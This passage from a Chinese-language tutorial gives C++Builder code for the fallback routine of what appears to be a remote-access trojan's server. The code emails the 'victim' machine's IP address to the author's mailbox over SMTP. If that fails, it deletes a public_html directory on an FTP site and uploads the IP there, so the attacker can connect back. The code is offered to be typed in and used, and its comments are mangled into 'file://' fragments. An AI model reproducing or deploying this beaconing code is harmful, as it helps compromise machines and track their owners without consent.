上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码
如下(照敲不误 ^_^):
{
END:;
Socket->Close();
file://关/闭服务
ServerSocket1->Active =true;
file://再/次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如/果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp.163.net";
file://选/一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你/SMTP的ID
try
{
NMSMTP1->Connect();
file://再/次连接
}
catch(...)
{
goto NextTime;
file://跳/到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I dont know!";
file://受/害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受/害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";
file://将/信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP
1->LocalIP ;
file://信/的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以
便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信/的主题
NMSMTP1->SendMail();
file://发/送!
return;
file://返/回
NextTime:
NMFTP1->Host = "ftp://ftp.go.163.com"/;
file://你/的FTP服务器的地址
NMFTP1->UserID = "";
file://你/的用户ID
NMFTP1->Port = 21;
file://FTP/端口号,一般为21
NMFTP1->Password = "";
file://你/的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如/果已连接就断开
try
{
NMFTP1->Connect();
file://再/连接
}
catch(...)
{
return;
file://返/回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受/害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创/建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写/入以上的SendToSite的内容
fclose(Upload);
file://写/完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删/除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上/传!
}
|